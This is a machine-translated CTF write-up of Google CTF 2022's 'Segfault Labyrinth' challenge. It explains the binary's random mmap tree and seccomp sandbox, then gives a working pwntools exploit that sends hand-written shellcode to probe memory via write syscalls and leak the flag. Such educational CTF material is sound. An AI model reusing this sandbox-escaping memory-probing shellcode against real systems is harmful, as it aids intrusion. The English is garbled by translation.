当前位置:网站首页>2022 Google CTF SEGFAULT LABYRINTH wp

2022 Google CTF SEGFAULT LABYRINTH wp

2022-07-07 01:16:00 xyzmpv

Don't ask me why I came to play on weekends CTF Ask is deserved :)

Google CTF 2022 SEGFAULT LABYRINTH wp

The famous Google CTF. Last year, I saw a master draw a whole paper flow chart and make a reverse , Try it yourself this year ( since ) try ( abuse ) once .
Of course pwn It's impossible. pwn Of , Can only do Tao misc Maintain life like this . Fortunately, it was made on the first day SEGFAULT LABYRINTH This way Misc, The ranking of the questions handed in is also quite good ( Of course, I touched it the next day ). Here to share my wp.

logic analysis

First of all, there is basically only one main body of the whole program main function , It's not hard to reverse .
Apply for one at the beginning mmap The block is used to put the pointer , Fixed address ( This address will finally be given to you ). Then enter while loop .
The main logic of the program is here while(1) In the cycle of . First read a random number , Then take the low of the first byte of this random number 4 Position and hold high 4 A reset ( In fact, this random number is really used only this low 4 position ).
Every cycle will reapply 16 individual mmap Block and write its address in order v5 Point to space . In this process, random numbers will be used in 0-16 Middle draw , Only the one who wins has permission ( Of course, you may also have a dark face , Draw to 1 perhaps 2 The only authority is 3 or 6).
 Insert picture description here
For the first time v5 It's the one who applied at the beginning mmap The address of the block , Each cycle will v5 Assign the value to the address of the authorized block in this cycle ( Otherwise, I can't continue to write the address next )
in other words , The whole process is equivalent to the growth process of a forked tree , Pick one random node at a time , Grow on this node 16 Child node , And so on
Take a closer look and you can see , involve flag Part of if(!--v4) In this judgment , because v4 Initially 10, So in fact, I have to run to No 10 The second cycle will enter the logic , At this time, it has been initialized 16^10 Nodes ( Address ). In this branch , Will flag Read to the last node with permission .

The schematic diagram is shown below :

then , Allocate a piece with RWX Section of permission ( And put customized shellcode), Output Welcome to the Segfault Labyrinth, Set protection

Let you cover ptr[0] And read in a length of ptr[0] % (4096 - v16) Bytes of shellcode And implement
 Insert picture description here
Pay attention to two points :

  1. As mentioned earlier ,shellcode The beginning of has been given , And the total length shall not exceed 4096
  2. perform shellcode The parameter is mmap_addr_1, That is to say Fork tree head node address

It's dead shellcode Opening paragraph ( Deliberately left rdi)

 Insert picture description here
Sandbox protection

 Insert picture description here

Their thinking

In essence, the requirement of the topic is to traverse the bifurcation tree and find the last node , And print it out .
Looking at the protection, we can find that there are only a few system calls that can be used . The first reaction is directly used shellcraft Generate shellcode Or write C To compile , Pull it down PIC.
But the actual debugging also found , You can't use the stack, otherwise it will directly SEGFAULT( This should also be the source of the title ). under these circumstances , It is almost impossible to achieve it in the above two ways , So I can only rub my hands shellcode 了

At first, the idea was to take the value of the empty node directly, and then cmp 0, But the permissions of empty nodes found in debugging are 0, Direct value will collapse . There is a master to put it forward for use mmap To test node permissions , The result will also collapse .

The final solution is very simple and crude —— Directly through write Traverse and print each node . For non empty nodes , Return value rax It's length. , The return value of an empty node is negative . adopt control write length +cmp rax, length + Conditions jump Methods , You can traverse this fork tree .
Finally rubbed out exp as follows :

# -*- coding:utf-8 -*-
from pwn import *                                                
#from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
#p = process('./challenge')
p = remote('segfault-labyrinth.2022.ctfcompetition.com', 1337) 
#p = ssh(host='pwnable.kr',user='fd',password='guest',port=2222) 
#e = ELF()

#gdb.attach(p,'''
#b* $rebase(0x14E8)
#c
#si 16
#si 5
#''')


#local_file = 
#libc = 
#elf = ELF(local_file)



se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims             :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr          :p.info(tag + ': {:#x}'.format(addr))

payload=asm('mov r15,rdi') # Save the header node address 
payload+=asm('mov rsi,[rdi]') # Take the first address pointed to by the header node 
payload+=asm('mov rdi,1')
payload+=asm('mov rdx,0x40')
payload+=asm('mov rax,1')
payload+=asm('syscall') # structure write
payload+=asm('add r15,8') # By default, it does not pass the verification , The head node pointer moves forward 
payload+=asm('mov rdi,r15')
payload+=asm('cmp rax,0x40') 
payload+=asm('jnz $-37') # If it doesn't pass , Then the preliminary preparation is completed , Directly jump back to the second compilation 
payload+=asm('sub r15,8') # adopt , First reset the head node pointer , Iterate over the pointer 
payload+=asm('mov r15,[r15]')
payload+=asm('mov rdi,r15')
payload+=asm('jmp $-49')# Return to the second compilation , Continue to cycle 
sa('Welcome to the Segfault Labyrinth',p64(len(payload)))

se(payload)

p.interactive()

Summary

  • I feel good about this method , adopt write The error and return value of are used for traversal judgment , At the same time, it can also be printed directly flag, And the length is only 14 A collection of articles
  • pwntools The upward jump of assembly is the same as that of a normal assembler , You need to calculate the length of the previous instruction before writing
  • At first, I was wrong , think v5 Always the one given at the beginning mmap Address , After debugging, I found that I couldn't find it directly flag, And there is a pile of memory mmap block , That's how it came about
  • Thanks to the two masters who participated in the brainstorming process , Provided many valuable suggestions . For the first time in this level of competition, the sequence of questions is relatively good , Still very happy .
  • pwn It's impossible. pwn Of , I can only do something misc Maintain life like this
原网站

版权声明
本文为[xyzmpv]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/188/202207061731333444.html